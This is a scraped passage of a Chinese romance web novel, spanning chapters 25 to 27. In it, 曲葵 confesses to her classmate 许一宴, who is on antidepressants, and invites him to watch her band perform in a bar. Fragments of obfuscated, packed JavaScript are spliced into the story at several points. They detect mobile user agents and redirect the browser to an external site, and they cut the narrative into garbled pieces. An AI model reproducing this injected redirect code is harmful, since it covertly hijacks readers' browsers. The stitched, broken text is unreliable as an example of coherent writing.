l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990382|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不退了。” “诶你这小孩——” 许一宴抱着鱼缸转身,垂眸睨曲葵一眼,又缓缓转移视线。 他和曲葵擦肩而过,见曲葵还在看他,脑袋发热留下一句:“还看,走了。” 曲葵瞥了眼老板气急败坏的脸,和他说了句“拜拜”,然后抱着滑板小跑追出去。 许一宴是骑车过来的,坐在电瓶车上等曲葵。 曲葵没有说话,五味陈杂站他身后,看着熟悉背影想笑又想哭。许一宴察觉到视线,掀起眼皮,正好从后视镜里看见曲葵带着一种说不出来的复杂情绪看他,就好像他们曾经认识了很久。 许一宴心倏地痛了下,立刻涌上陌生心情,他假装没有看见曲葵脸上表情,转头说:“怎么还站在那,你要不要走。” 怕曲葵不明白他的意思,许一宴解释:“不是说要和我买鱼么,售后服务,这就送去你家。” “哦,可以的。”曲葵觉得许一宴那双眼睛在夏天里十分清透,比玻璃珠还要好看,耳畔虫鸣回响不绝,除了他们的关系回到原点,一切和往常夏天好像没有太大区别。 曲葵心中兵荒马乱,有太多想说却说不出来的话。她刚走过去,许一宴伸手示意:“你滑板给我。” 曲葵低头,看许一宴车踏板上放着鱼缸,说:“我拿着吧。” 许一宴注意到她的视线,说,“给我吧,不会磕到。”放好滑板,许一宴视线落在她身后,问:“你在学吉他?” 曲葵:“嗯,我出去练歌。” “你是不是去天堂湖了。” 曲葵讶然:“你怎么知道?” “我有时候也会去那,白天很安静。”许一宴略微沉吟,“你家在哪?” 怕鱼缸里的水泼出来,许一宴骑车速度很慢,长街两侧树荫浓密,叶缝中的小片天空高远而蔚蓝。 夏天真的好热。 过去曲葵不知道为什么有这么多人喜欢夏天,现在她明白了。 喜欢的也许不止是夏天,还有那个站在夏天里,转头过来对自己说话的人。 不多时,曲葵又见到那条熟悉的小胡同,邻居的爬山虎依旧爬满墙壁。许一宴把车停她家门口,白皙的脸被太阳晒得有些红。 曲葵从他身后下来,对他说:“你鱼多少钱?我给你。” 许一宴把鱼缸给她:“送你了,不用给钱。” “行,我会养好它们的。”曲葵抱着沉甸甸的金鱼缸,清凉感透过玻璃传递给她。几条小拇指大小的草金鱼在放有各色不规则玻璃块、猫眼螺壳和贝壳的水中游来游去,十分具有生命力。 “好漂亮。”曲葵被这一幕打动,由衷感叹。 而在许一宴眼中,女孩在盛夏中抱着鱼缸的欣喜模样,也如鱼那样同时具备着美和生命力。 阳光从拉直的电线网中落下来,许一宴渐渐感到热,他抬手挡住眼睛上的烈日,对曲葵这个平时在学校没有什么交集的女同学一字一顿地说:“确实,很漂亮。” 25.邀请 原本曲葵觉得在开学前不会再遇见许一宴,没想到第二天她从天堂湖回来又遇见了他。 这一次,两人相遇地点颇为尴尬。 流感来袭,一向不怎么生病的曲林也中招在家躺着,林语邱像躲瘟疫一样天天不回家,曲葵路过药店时,想起曲林的药快吃完了,于是走进附近新开的药店,结果和刚买完药出来的许一宴打了个照面。 两人望着对方,表情都有些错愕。 “许一宴?” “……曲葵。” 许一宴慌乱神色在眼里一闪而过,随后快速将透明塑料中的药塞进斜挎包里。但曲葵还是在几秒的间隙里看清药盒上的字,她心中一震,脸上的表情依旧如常,假装什么也没有看见,率先开口问:“还有两天开学,你作业有没有写完?” 许一宴与曲葵错身走出药店:“写完了。” “开学之后你可以把作业借我抄吗?” “嗯。”许一宴点头,然后冷淡地说,“我先走了。” 曲葵便和他说再见,看着许一宴离开的背影,心中的动荡迟迟无法平复。 曲葵曾在二十三岁失眠、焦虑和无法忍受忽视的躯体化症状时吃过一段时间的精神药物,所以她一眼就认出许一宴买的是抗抑郁的药。 脑海中响起朱覃的猜测:“如果……许一宴是自杀呢?” ** 也许是内心秘密被发现,开学后,除了第一天许一宴主动把作业给曲葵抄,说了句:你别全部抄完,老师会发现。 之后许一宴一直在躲她。 周一的升旗仪式按照身高站位,曲葵和许一宴都在靠后位置,班上两个男生请假,两人正好并排,曲葵在校领导讲话时故意扯扯许一宴校服小声和他说自己分别给那三条草金鱼取了名字,许一宴一开始不理她也不看她,到后面会无奈地说一句:“知道了,别说了。” 因为回家方向相同,有时候曲葵上学或下晚自习遇到许一宴会主动和他打招呼,许一宴总是默默朝她点头,然后逃一般地转移目光。 某天晚自习结束,曲葵看见在一楼大厅等许一宴回家的朱覃,也和他打了招呼。朱覃惊讶之余多看了曲葵几眼,等许一宴下楼,问他:“你们班女神是怎么知道我名字的,不会是对我有意思吧?” 许一宴转头看他不说话,朱覃被他盯得发毛,随后如梦初醒般大声说道:“哦!我知道了,她是不是在追你,然后故意去打听你的私生活……” “拉倒吧。”许一宴抬头看一眼走在前面的曲葵,不知道她有没有听见朱覃说的话。 许一宴感到疑惑。 高三开学前,他和曲葵没什么交集,不过许一宴知道曲葵身边总有围着她转的男生,两人唯一的正常交流,是他把草金鱼给曲葵的那一天。 后来他买药遇见曲葵,许一宴觉得曲葵认出是什么药了,虽然她没有问也没有表现出惊讶或者厌恶的表情,但他不明白曲葵为什么总是主动和他说话。 仿佛他们关系很好。 “我会去找你的,等着我。” 忽然间,许一宴想到开学前一个莫名其妙的梦境,虽然醒来后梦中的内容忘记得差不多了,但似乎梦中也有人和他说过那么一句话。 许一宴还没来得及细想,又听朱覃说:“有什么好害羞的,你成绩这么好,喜欢你的女生可多了。” 曲葵周末值日那天,再次拒绝方成旭约她出去玩。她看许一宴在教季雯做题,简直是一模一样的情景。 这一次,曲葵在许一宴把试卷递给季雯后说,手曲起在他面前的课桌上敲了敲,颇为吊儿郎当:“许一宴,有空也教教我呗。” 许一宴觑她一眼,冷如冰霜的语气稍稍缓和些:“以后教你。” 季雯离开前,不满地瞪了曲葵一眼。 倒完垃圾回来,季雯已经走了,许一宴聚精会神伏案刷题,没注意到她,曲葵放下垃圾桶,提前把窗户关上,坐在座位上,也从课桌上抽出一套数学真题卷写起来。 窗外刮起风,被玻璃挡住,发出呜呜呼声。 事实证明,她确实对数学不感冒,曲葵才写了几道计算题,就托着下巴看起许一宴背影。 对于她来说,比起写题,还是许一宴的背影赏心悦目。 时间流逝,落日余晖抽离教室,曲葵见许一宴把笔盖上,又将试卷折起来,她等得心焦火燎,刷地站起来,许一宴扭头收拾书包,发现曲葵还没有走。 许一宴:“怎么你还在。” “我在等你。”曲葵眯着眼朝他笑。 “为什么要等我?” “有事想和你说。” 许一宴抿着嘴唇,一副我与你无话可说的表情,站起来,拎着书包就走。 “许一宴,你等等!”曲葵看他又想跑,跟着出教室,想到教室门还开着,不得不停下来锁门。没想到越急越耽误几秒钟抬头一看,许一宴背影已经消失在楼梯拐角。 许一宴虽然没跑,但他腿长,以前都是刻意放慢脚步迎合曲葵的步伐,现在曲葵要小跑才能跟上他的步子。 两人一前一后出校门,许一宴身上电话突兀响起来,他稍稍放慢脚步,低头看是许明念打来的电话,挂断了。一秒后,电话铃声重新响起来。 许一宴蹙眉。 曲葵听见电话铃声,对许一宴说:“你先接电话吧。”说完朝后跑了几步,与他。 许一宴不明所以地看她这番举动。 “好啦!”曲葵捂着耳朵,“我什么都听不见了!” 电话没超过五秒就结束,许一宴全程没说话。挂断电话之后,曲葵感觉许一宴周身好像被看不清的阴霾笼罩住了。 曲葵联想到朱覃提及关于许一宴家里的事情,迟疑道:“你……还好吗?” 但许一宴只是隔着渐欲朦胧的傍晚朝她看过来,短短几秒钟。他没有回答曲葵的问题,转身自己先走了。 他没走回家的那条路,七拐八拐走去一条长长的老步行街,每一次回头,曲葵都在身后,和他始终保持着不远不近的距离。 他停下曲葵就停下;他走起来曲葵也走起来。 路灯还没有亮,天地一片幽暗,行人的脸像笼了一层雾。许一宴看不清,这条街他小时候走了千百回,记得人行道上两棵树直接的距离,每一处门牌号卖的是什么,每个岔路口能通向哪里。于是他在心中假想整座城市是浸没在海水里的废墟。 失败了,许一宴无法忽视身后曲葵那束炽热的目光,好像要把他审视得干净透彻。 路过服装店的明亮橱窗时,许一宴忽然止步,曲葵不明所以,也停下来。就见许一宴转身朝她走过来,一把抓住她的手腕,不由分说把曲葵拉进服装店旁边的一条窄且暗的巷子里。 曲葵手臂被大力拉扯得有些疼,肩膀磕到青砖墙面上,吃痛皱眉。 他们离得那么近,许一宴手撑在她耳边,漆黑瞳仁居高临下盯着她的眉心,温热鼻息喷在她脸颊上。 “为什么跟着我?”许一宴的语气不太友善,呼吸也不平稳,胸口在上下起伏着。 曲葵从他瞳孔中看到一副视死如归的自己:“因为我喜欢你啊,想和你待在一起。” 许一宴没想到会是这个答案,一时愣住。他试图从她脸上看到一丝撒谎神情。小巷子很暗,因为夜盲症,他看到的只是一团模糊的脸。 许一宴放手,退后几步,和曲葵保持一定距离。回过神后,他被吓到了,喉结上下滚动,戒备在脸上崩裂。 “别开玩笑。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997187|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许一宴试图用冷漠的语气掩盖无措,“我们一学期才说了几句话?你能喜欢我什么。” 曲葵说:“你学习好,长得高,也好看,很多女同学都喜欢你,我为什么不能喜欢你?” “你胡说。” “我没有。你那么高冷,谁敢告诉你。” 许一宴看着曲葵所在方向不说话。 “真的,”曲葵语气很认真:“我喜欢你挺久了。” 她说这句话时声音或许有悲伤意味,许一宴却听出了快要溢满的孤独。 许一宴不知道怎么回应,别过头。巷子外来往车头灯模糊成一团团鹅黄色光球,寂静之中,他听见自己的心跳和曲葵的呼吸,只是不知现在心间涌上来的那种感觉是惊喜还是惊慌。 许一宴试图回避情绪,说:“你根本不知道我是哪种人。” 曲葵:“那请你给我一个了解你的机会吧。” 两人静静站着,小巷子的路灯亮了,惨白灯光爬上曲葵的脸,轮廓被勾勒得清晰立体。许一宴看到的,是她专注的神情、流光溢彩的眼眸。 和梦中窗帘拉开阳光落下后的那双眼睛完全重合,不仅样貌酷似,她们还有一个相同的名字。 她们都用那种让人不敢直视的眼神,望着他。 少倾,曲葵揉揉肩膀,冷静打断不合时宜的沉默:“别站在这了,我饿了。” 许一宴说:“去吃饭。” 曲葵看了他一眼:“你不也没吃饭吗,我们一起。” 华灯初上,行人渐多。老远就听见救护车和警车的鸣笛声,几个擦肩而过的中年人在讨论车祸,脸上全是幸灾乐祸。 曲葵没有继续沿着这条街走,说知道有一家面馆味道很好。 她转过身去,许一宴看见她短袖下的胳膊有些泛红,在白皙肤色上惹人注目,许一宴心中不是滋味,伸手碰了碰。 曲葵被吓一跳,回头。 “疼吗?”许一宴垂下手,轻声说:“刚才对不起。” 曲葵没在意,只想赶紧把许一宴带离这片是非之地:“请我吃饭,我就原谅你。” 两人穿过小巷走去隔壁小吃街,在一家装修简单干净的店铺停下来,分别点米酒汤圆和鲜肉小馄饨。 看着曲葵面前小小一碗米酒汤圆,许一宴忽然这幕似曾相识。 等他试图从那些回忆中搜索出曾和曲葵面对面坐在一起吃东西的场景,发现根本就没有过。 许一宴心烦意乱,拧紧眉心看着面前碗中飘着的葱花,半天没有动筷子。 为什么会有这种感觉? 难道是病加重了? “怎么了?”曲葵问。 “没有。”许一宴摇摇头,筷子夹起小混沌往嘴里送,在令他烦躁、难以呼吸流逝的时间中,许一宴突然开口,“你其实知道那是什么药对吧。” 曲葵吃了一口小汤圆,看他表情冷静,说:“我有一段时间吃过精神类的药物。我知道那是一种什么感觉,远比我知道的要难受很多。但是许一宴——”曲葵把勺子放在碗里,认真道:“我喜欢你是因为你,不会因为生病就改变。感情哪有这么容易改变。” 许一宴沉默半晌:“喜欢可以这么轻易就说出口吗?” “怎么说呢,应该很难的吧。”曲葵仰着头思索一会儿,接着是笃定的语气,“但是如果不说出来的话,对方岂不是一辈子都不知道了。” 可是并不是所有喜欢,都能充满勇气。 许一宴深深看向曲葵,那眼神太深,像潭望不到底儿的死水,哪怕投入石子,也掀不起太多波澜。 “也许吧。” 两人走出小吃店,站在灯火通明处,分开时,曲葵叫住许一宴:“我下周末晚上有个音乐演出,你来吗?” 26.微醺 她说出那句话后,许一宴没有什么反应,垂手沉静看着她,曲葵以为要被拒绝了,开始想怎么说被拒的话,许一宴问:“你玩乐队?” “嗯,小乐队,我是主唱。” “地点在哪?” “南风步行街那家酒吧,名字叫“微醺”。” 许一宴眸光微动:“但是我从来没有去过酒吧。” 曲葵心中一喜,没被拒绝就是胜利。许一宴说的这问题她也提前预料到了,于是解释道:“酒吧是我朋友叔叔开的。放心,是清吧,不会出现夜店跳舞蹦迪,不会吵到你。” 许一宴不语,应该是在思考。 “可以吗,可以吗许一宴?”曲葵望着许一宴,亮晶晶的眼睛眨了一下又眨。 撒娇不适合曲葵,只能突出她鬼灵精怪的性格,但对许一宴这种平时和女生说话不超过十句也没谈过恋爱的学霸杀伤力挺大。 许一宴立刻想到86版《西游记》里的女妖精,媚眼如丝对着唐僧喊:圣僧,来玩呀,来玩呀~ 他很想质问曲葵:你是不是对着每个男生都能这么撩? 但又问不出口,平白把自己憋得难受。 发现许一宴不看她了,曲葵见好就收:“我也想让你了解我,如果你没有空也没事,以后我再邀请你。” 这是将被拒绝的话也一起说了,许一宴顿了顿,问:“你演出什么时候?” “下周六。”曲葵把时间告诉他。 那天他没事,竞赛题写得差不多了,到最后写题已变成一种机械的习惯,也有他不想回家的原因。许一宴便说:“把你电话给我,我去的话提前给你发消息。” 两人交换手机号码,顺便把□□好友也加了。曲葵低头看着手机中点开过无数次,熟悉的黑色夜空头像,深深地吸了一口气。 她问:“你的头像,是自己拍的吗?” “00年的那场狮子座流星雨,我妈用相机拍的。”许一宴只回答了这么多。 几个小时后,曲葵失眠了。 从她和许一宴分开后独自步行回家到现在,脑海一刻不停重复上演邀请许一宴参加演出的那一幕戏,她说出的话以及许一宴看向她的眼神,噼里啪啦炸成一团团烟花。 抓耳挠腮,抱着被子翻来覆去,一会笑一会叹息。 卧槽卧槽卧槽! 她怎么就和许一宴表白了,职场上培养出来的稳重是不是全被狗吃了? 醒醒吧曲葵,你的男神一点反应都没有,看看,他还被你吓到了,咋了啊她是什么洪水猛兽吗,她难道是什么把人吃得渣都不剩的色狼嘛? 可恶的纯情男高,身为女生她都这么主动了,不是说女追男隔层纱,不信谣不传谣。 哈哈。 失恋了。 呜呜。 要疯掉了。 凌晨三点,曲葵精神得跟刚喝了杯高浓度咖啡似的,她睡不着,开灯,爬起来盘腿坐在床上。 床头柜上玻璃缸中金鱼浮在水面上呼吸,被曲葵动作吓得摆尾,水花翻溅出清脆声音。 曲葵拉开椅子坐下,单手趴在桌子上,另一只手抬起来,手指伸进鱼缸,轻轻点着水面。一尾朱砂红的草金鱼从鱼缸底部游上来,仰头吻着她的手指,传来淡淡的痒。 曲葵摸了摸金鱼脑袋,扔了把鱼粮进去,四条金鱼摆动尾巴游上来。 曲葵发现这几条金鱼好像比刚开始长大了一圈,快赶上她的大拇指,再过一段时间,可以换个大点的鱼缸了。 她用手机拍下来,记录金鱼生长,接着戴上耳机,翻开笔记本记谱子。 这一晚失眠的不止曲葵一个人,还有被表白的许一宴。 曲葵的告白猝不及防,许一宴虽然嘴上没接受,心里早就冷静不下来。 回家之后,许一宴被王婷婷叫住一顿骂,好像是因为他没有回家吃饭,那些都不太重要,许一宴今晚心情还不错,一向对继母抱怨左耳进右耳出的他,破天荒反驳:“阿姨,还是少生气吧,不然更丑了。” 洗完澡,许一宴看着水汽氤氲的镜子里的自己,还是没想通曲葵为什么喜欢他,他哪里优秀了?这双眼睛里,没有光,也没有生机,像具木偶。 唯一的原因,好像只有这张脸了。 许一宴伸出两只食指,将自己的嘴角朝上拉,镜子里的那张脸笑起来,怎么看怎么不顺眼。而在手放下之后,又恢复成面无表情的状态。 “因为我喜欢你。”曲葵悦耳的嗓音在耳边回荡。 心跳得好快,又重,根本就看不进去题。许一宴抽了本书架上的书看,草草看了几页,讲了什么一点也不知道。心不在焉玩手机,试图忘记曲葵说的那些话,结果每一个字都记得越来越清楚。 “我喜欢你。” “喜欢。” “……你。” 许一宴脑海里一遍遍回放这句话,几个字拆开又拼合,延展又收紧,他心不在焉点开了什么页面,停下来。 曲葵的个人主页。 昵称:Serien。 许一宴眼睛蓦然睁大。 他关掉□□,打开音乐app,特别关注的歌手名字映入眼帘。 serien。 不会吧。 第二天早读,曲葵顶着熊猫眼进教室,路过许一宴座位时,在他桌子上放了几颗大白兔奶糖,许一宴掀起薄薄的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许一宴在解一道代数题,闻言笔尖一顿,白纸上划下重重一笔,墨水很快晕染开。 几秒后,许一宴斩钉截铁回答,“没有。”说完低头继续写题。 “那她为什么要给你这么多零食?”同桌问更加好奇,八卦之火熊熊燃烧。 许一宴语气一本正经,答案语出惊人:“她贿赂我。” “啊???” “想让我借她作业抄。” “……” 同桌身体后倾,瞅了眼许一宴被零食塞满的桌箱,“话说,你一个人能吃完吗?不会上火吗?” 许一宴再次停下笔,这次是直接转头看他,一双黑白分明的眼睛像要把人看穿:“你饿了?没吃晚饭吗,胃不舒服?” 男生一怵,感觉心里那点小九九都被他猜透,头摇得像波浪鼓,心虚道:“没有没有我好得很!我就是好奇……” “女孩子送的东西,分你不太合适。”许一宴说,“我明天给你买零食。” 27.伪装 周末,放学铃声响,科任老师最后一道大题讲了大半,没宣布下课。 看见隔壁班学生陆续背书包经过,靠近门口的学生已经有些按耐不住了,桌角在地上摩擦着,发出“吱呀”动静。 老师看到他们反应,慢条斯理道:“别急别急,马上就结束了。” 曲葵杵着下巴神游天地,目光一转,看见敞开的教室门外露出几个毛绒绒的脑袋。 ——是程渡他们。 程渡抱手斜靠着栏杆,没穿校服,黑色鸭舌帽露出半个下巴。 说起扬明一中的风云人物,许一宴算是那朵高岭之花,因为他总是在成绩公告栏上的第一,程渡是打架出名的,而说起程渡的同时,曲葵总会和他捆在一起。比如两人从高一的时候就好上了;有段时间他总是和曲葵勾肩搭背走在一起;之前和人打架也是因为曲葵。总之程渡出现很快把教室大半学生目光全吸引过去了。 吴椎朝曲葵招手,挤眉弄眼,嘴里一张一合不知道说了什么。 学生开始窃窃私语。 曲葵略感头痛,趁老师转身在黑板上写字的时候,给他们做了个快走的手势。 吴椎头快伸到教室里,一副茫然,看来是没懂。曲葵不想看他们,移开视线,努力忽视这几个显眼包。 这时科任老师一边讲题一边踩着高跟鞋走下讲台,手一挥关上门。嘭地响声终止,清静了。 刚下课,曲葵就跑出去,把几个人拉到楼里拐角,问:“你们怎么上五楼来了,教室不是在二楼吗。” 程渡耷拉着眼皮,像是没睡醒:“来接你下课还不受待见啊?” “我想低调点。”曲葵解释。 程渡呲道:“你那张脸能低调吗?” “我怕别人误会。” “你看上谁了?” 曲葵闭上嘴。 程渡把帽檐压得低了点:“欸,还能不能走了。” “要不你们先走吧。”曲葵说,“今天我值日,晚点去老地方找你们。” 吴椎:“哦。” 程渡催促:“赶紧,走。”说完抬脚,在熙熙攘攘的学生中小跑下楼。 曲葵看他逃似的步伐,问:“他是不是在躲人?” 吴椎乐道:“在躲他童养媳。” 曲葵回到教室,许一宴还没走。 座位轮换,现在许一宴坐她后面,正在和同桌说话。察觉她的目光,许一宴微微转头,曲葵忙假装有东西没拿,弯腰桌箱里抽出本毫不相干的课外书。 等她把书塞进书包里,许一宴已经戴上耳机准备刷题了。 曲葵扫好地,许一宴还在埋头写卷子,教室里终于剩他们两个了,曲葵按捺不住心神,走过去,食指敲了敲他的课桌。 她的影子落在许一宴面前,温柔覆盖在许一宴手臂上,像抚摸。 许一宴扯下耳机,抬起头,长而翘的睫毛染上黄昏金光,像浓墨重彩的油画。 他默默注视曲葵,等她开口说话。 “你,”曲葵被那双落满水的眼睛看得心神荡漾,咽了口口水,故作镇定,“你今晚来不来?” 许一宴目光偏移,朝问口望了一眼,夕阳照在柱子上,走廊上没看见那几个男生,他重新看向曲葵,“刚才那几个人,是来找你的吗?” “他们是乐队的成员。”曲葵说,“只是普通朋友。” 片刻,许一宴说:“我会去的。” 晚六点半,曲葵背着吉他来酒吧“微醺”。酒吧没什么人,也没放歌,舞台上放着大大小小设备,程渡他们三坐在吧台边喝可乐,和老板聊天。 经过进一个月的不断练习,曲葵把几首歌练得滚瓜烂熟。她拖开椅子,和老板打招呼。 “小葵今天很好看。”老板朝她比了个大拇指,推过来一个四方玻璃杯,往里面放了个冰球,倒满可乐。 曲葵抬起来喝了一口,“程叔,等会你要是看见一个瘦瘦高高,眼睛特别好看的男生,帮我看着点他,别让他喝酒。” 老板:“行啊,就怕到时候人太多,我认不出来。” 曲葵露出虎牙:“人群中最好看的那个就是他。” 正好路过的程渡一听来劲了,手臂撑在吧台上调侃:“唉哟,太阳打西边出来了,也是看见你主动关心别人了。” 见曲葵不语,程渡用胳膊肘碰碰她的手臂:“我们学校的吗?高几的?叫什么名字?有什么过人之处?” 发现有八卦可听的吴椎也凑上来:“能让我们曲大美女看上的人肯定非同凡响,你说是不是小鱼。” “就是就是。”宋鱼附和。 程渡挑眉:“你脱单了?” “没有,还在追。”曲葵把整杯可乐都喝完。 三人异口同声,震惊无比:“哈!!你追别人?!!” “能别嚷嚷了吗,上台试音去,排练一下。”曲葵试图转移话题。 “不行你把话说清楚!” 老板看着摇摇头,只说:“年轻真好”。 曲葵到底还是没说。她把电吉他插上效果器,弹了一段等会翻唱的歌《Lydia》。 程渡他叔大学毕业时玩了一段时间乐队,那时欧美摇滚乐还没在国内兴起。乐队寸步难行,解散后他开了家酒吧。他很喜欢摇滚乐,经常把场地借给乐队开演出。 弹吉他时曲葵心跳速率很快,有点害怕有点兴奋。时空好像在回退,迅速回到很多年前,最初那个时空。在乐队刚成立的时候,他们四人将手掌叠在一起,纷纷说着“摇滚不死”、“搞一辈子音乐”。 贝斯、架子鼓和键盘加入她的音乐,节奏恰到好处,一如他们排练的时候。 心重重落下,曲葵知道自己成功了。 酒吧门口放着乐队演出的告示牌,人渐渐多起来,镭射灯光在头顶闪耀。 “这不是去年发专辑的那个烟灰乐队吗?没想到这么年轻,看着很像学生啊。” “这个乐队颜值都这么高的吗。” …… 议论声中,强烈鼓点和节奏瞬间点爆空气,演出开始。 与此同时,许一宴戴着眼镜站在酒吧门口,仰头看着印着“微醺”二字的霓虹招牌。台阶下面放着一块荧光告示牌,上面写着:乐队烟灰今晚演出。 有不少人好奇走进去。 许一宴没去过酒吧,当下有些迟疑,可他想确实曲葵是不是serein。 这时有个花枝招展的女生走过来:“小哥哥,你好帅呀,给我个电话呗。” 许一宴闻见香水味,冷冷吐了一个字:“不。” 他有点嫌弃地想:曲葵才不会喷这种香水。 许一宴刚进去,被铺天盖地的狂热音乐和欢呼声,以及来回扫射变换的镭射灯光照得有些发懵。紧跟着他便看见舞台上的曲葵。 他庆幸自己带着眼镜,这样才能更清楚看见曲葵。 她化着烟熏妆,暗色口红,眼神深邃,杂糅亮闪闪的灯光,加上全黑的朋克穿搭,像朵怒放的荒野玫瑰,碰一下就要被扎出血。 台下的口哨声此起彼伏,许一宴不喜欢那些口哨声,微微不悦蹙眉,可是又移不开眼。 曲葵边弹吉他边唱傍晚学校广播里常放的英文歌,旋律已到高潮部分: life''s like this you, 人生不就是这样, and you fall and you crawl and you break, 就算你摔个狗吃屎爬不起来又跌断腿, and you take what you get, 你也要带着伤, and you turn it into honesty, 诚实面对人生。 进来时,灯光变幻莫测;见她后,天地又在眼前变得明亮起来。 曲葵和serein唱歌时的声音,一模一样。 许一宴睁大眼睛,很快恢复如常。 原来是这样。 他想。 “帅哥,让一让。”有人从他面前挤过,鼓噪的舞池,他显得格格不入。许一宴只好朝人最少的吧台走去,坐下后,老板微笑着在他面前放了一杯饮料。 许一宴口干舌燥,看着那杯不知道是什么的酒说:“谢谢。”手上并无动作。 “这个不是酒,只是雪碧加橙汁。”老板看出许一宴顾虑,眼神落在他身后,“是台上那个专门叮嘱的,别让你喝酒。” 许一宴下意识回头,茫茫人海之中,他和曲葵视线撞在一起,刹那,身体像有一股电流从指尖蹿到心口。 她在看见他后笑意更深,不知道有多开心,可爱的虎牙又露出来了,还朝他丢过来一个wink。 歌声。 在这瞬间,世界只剩下曲葵的歌声,其他声音全部不复存在。过去两年里,七百多个夜晚,许一宴低落压抑的那些日子,陪伴他的原来一直是曲葵。 他们离得这么近,同一座城市,同一所学校,同一个教室。一个转身,一个回眸,便能看清。 这需要多大的幸运? 片刻,许一宴举起吧台上那杯特调果汁,一干而尽。 好冰。 他想。 也好甜。 ** 结束了。 曲葵不敢相信,她真的做到了。 喉咙火烧一般的干涩,除了累,还有真正活着的踏实和满足。 把设备搬回仓库,三个男生都累趴了。 “玩音乐真的需要体力。”吴椎说,“以后再不健身我就是狗。” “我敲了一晚架子鼓我说什么了吗?” “喝水。”程渡轻车熟路从角落货箱里拿出几瓶矿泉水给几人,一时间只有咕嘟咕嘟的喝水声。 程渡习惯把空瓶子捏扁:“感觉怎么样?” “爽得简直要升天了好吧!”吴椎喝得满下巴都是水,“这辈子就没有这么尽兴过。” “今天干了这瓶矿泉水。祝我们下次更好。” 曲葵陪几个幼稚鬼喝水。少顷,她拧紧瓶盖,对他们说,“我去找人。” “去吧去吧。”程渡扭头和吴椎他们扯皮,“一看就是急着去找小男朋友。” 曲葵想快点见到许一宴,想问许一宴她唱得怎么样,想问许一宴是不是更了解她一点。 “许……”她看到吧台前的许一宴,刚说出一个字,止住了。 许一宴趴在吧台上,脑袋枕在胳膊间,穿着白T恤,过分安静美好,与变换的镭射灯和说笑的人群格格不入。 曲葵问老板:“叔,他不舒服吗?” 酒吧快打烊了,老板在擦杯子,“喝醉了吧。” “他怎么喝酒了。”曲葵说,“不是让你帮我看着他嘛。” 老板耸耸肩,颇有些无辜:“不能怪我,是他自己要喝,我也拦不住。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005567|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “许一宴?”曲葵在许一宴旁边坐下,轻轻推他。 等了一会儿,许一宴缓缓直起身体,呼吸略微有些重。 曲葵担心起来,又叫他名字。 许一宴侧过身,眼神迷茫,嘴唇湿润,白皙脸上是灯光难掩的红晕,耳朵也红。隔了好几秒才看见她,“曲葵?”声音低沉沙哑。 曲葵被许一宴望着,不由摸了摸鼻尖:“头晕吗?” 许一宴眨眨眼睛,好像在思考她的话是什么意思,几秒后缓缓点头,还是用一本正经的语气:“好晕。” “这是喝了多少啊。”曲葵哭笑不得。 “一杯。”老板语气很夸张,“那就是杯果啤,谁知道真一杯倒。”他说:“我就没遇到过这么容易醉的人。” 许一宴手机放在手边,曲葵拿起来,想用他手机给朱覃打电话,但手机设了密码。她只好问许一宴:“还记得密码吗?” 许一宴很乖地将手机拿过去,大拇指不太利索地在屏幕上划了半天,系统弹出密码失败锁定,只能输入数字,许一宴默默抬头,湿润的眼睛望着曲葵,语气中带了一丝茫然无措:“怎么办,忘了。” 好……好萌! 程渡他们从仓库出来,站在两人身后。 “哟,这就是你说的那个小男朋友吗?” 曲葵刚要反驳不是,掌心被许一宴略微冰凉的指尖轻轻捏了捏,曲葵怔神间,许一宴用黑白分明的眼珠盯着程渡问:“他们是谁?” 曲葵抽不出手,只好说:“是我朋友,你要不要和他们认识一下?” 许一宴不语,安静几秒钟,忽然伸手按着太阳穴,轻言细语道:“我头晕。” 程渡若有所思打量许一宴,半晌说:“这不是那个年级第一么。” 许一宴接话很快,还带着锐气:“这不是打架出名那个么。” 程渡眯眼,问曲葵:“他真的喝醉了?” “是吧。”两人呛火,曲葵有点尴尬,站起来挡住许一宴视线,许一宴只能看见她的背影,不明所以也起身站在曲葵身后。垂着眉眼,睫毛下一排阴影,温顺至极。 曲葵说:“我送他回家。” “这你也要送他回家啊?”程渡惊了,“他那么大个人还能走丢不成。” “是我叫人家来的,而且他之前也不来这种地方。” “什么叫这种地方。”程渡翻白眼,“啧,情人眼里出西施。” 吴椎看热闹不嫌事大,一旁插嘴:“你还说人家,上回和萱萱姐逛街你……” “滚滚滚!”程渡恼怒打断。 曲葵见势拉着许一宴跑路:“所以我们先走了。” 两人站在热气腾腾的街道上,湿热的空气让人感到难喘气,还好曲葵出来前卸了妆,不然现在就是张花猫脸。 彩色灯光笼罩整条步行街,他们像落入童话里的糖果世界,远处车水马龙间闪耀着斑斓光晕。 许一宴手机一直在响,看他晕得找不着北,曲葵只好帮他接通。 是朱覃打来的:“许一宴你人呢?我妈让我送东西过来,给你发消息怎么不回?” “你好。” “卧槽!”朱覃被吓了一跳:“你谁啊?” 